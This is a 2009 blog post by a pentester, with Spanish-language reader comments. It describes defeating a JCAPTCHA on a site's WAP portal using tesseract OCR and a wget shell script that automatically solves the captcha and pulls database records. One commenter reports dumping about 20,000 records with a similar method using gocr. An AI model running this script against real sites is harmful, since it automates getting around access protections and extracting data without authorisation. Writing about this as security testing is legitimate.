Tuesday, January 6, 2009

Captcha circumvention

Last week I was trying to bypass a captcha implementation (JCAPTCHA) on a website I was hired to pentest. Although captchas can get very difficult to bypass I found a "weak link" through the WAP portion of the portal in question and I could extract a significant portion of data abusing the nonexistent distortion of the letters shown in the image.


You'll see, there is an OCR (optical character recognition softare) in Linux (tesseract) capable of "reading" the image given to the user, then this tool will write the characters to a text-file.
Using wget we can start http queries to a website, save and load cookies and write data to the filesystem. Putting it all together, we got a shellscript that will circumvent the captcha protection and extract the data in an automatic fashion (it's effective around 60%).

#!/bin/sh

wget http://www.somesite.com/jcaptcha --save-cookies cookies.txt --keep-session-cookies -O /tmp/captcha.jpg 2> /dev/null
djpeg -grayscale /tmp/captcha.jpg | convert - /tmp/captcha.tiff
tesseract /tmp/captcha.tiff jcaptcha
cap=`cat jcaptcha.txt`
wget "http://www.somesite.com/servlet?niv=&nrpv=&query=$somevalue&captcha=$cap" --load-cookies cookies.txt -O salida.txt 2> /dev/null
tam=`wc -c salida.txt| cut -c1-3`
echo $tam
if [ $tam -ne 701 ]; then
mv salida.txt $query.txt
fi

You may wonder why the script uses a length of 701 bytes to detect if the captcha has been defeated, well, it's just assuming the default "error" page has a length of 701 bytes, any other length it's assumed as info extracted from the database (ok, it's not the best approach, but it's just a PoC).

4 comments:

beck said...

usa gocr (GnuOcr) es mas efectivo , asi dumpee una db como de 20 mil registros.. era parecido el captcha a este.

http://www.ribosomatic.com/upload/captcha_easy.png

Tambien detecte las letras con libjpeg y con opencv las rote y las meti en un grayscale como tu.

en estos casos gnuocr era efectivo 95% de las veces

igual te sirve.

Eduardo said...

Beck,

Instalaré el gocr, no lo he usado; el tesseract en ocasiones se comporta "modestamente".

oxigen said...

hola Eduardo, soy un estudiante de Matemáticas Aplicadas y Computacion de FES-Acatlan, y pues sólo quería comentarte que deberias de actualizar tu documentación de tu página principal en cuanto a la ayuda para conexión a la RIU ya que la info que pones es ya algo antigua o para distros distintas a las mas nuevas versiones de ubuntu que ya traén el wpa suplicant instalado por default.

Puedes checar la info en mi blog http://hyanetworks.com/wordpress/2009/03/25/conexion-o-configuracion-de-la-riuunam-desde-ubuntu-810-intrepid/ y si puedes date una vuelta por el blog y me das tu opinion, vale?

Saludos y suerte!

Adrian Puente Z. said...

Muy buen post, gracias por compartirlo.

Te complemento el post con este documento que realizó Napa hace ya un buen rato.

Como Programar una red Neuronal de Reconocimiento de CaptchasLa verdad te la rifaste con el script.

Saludos,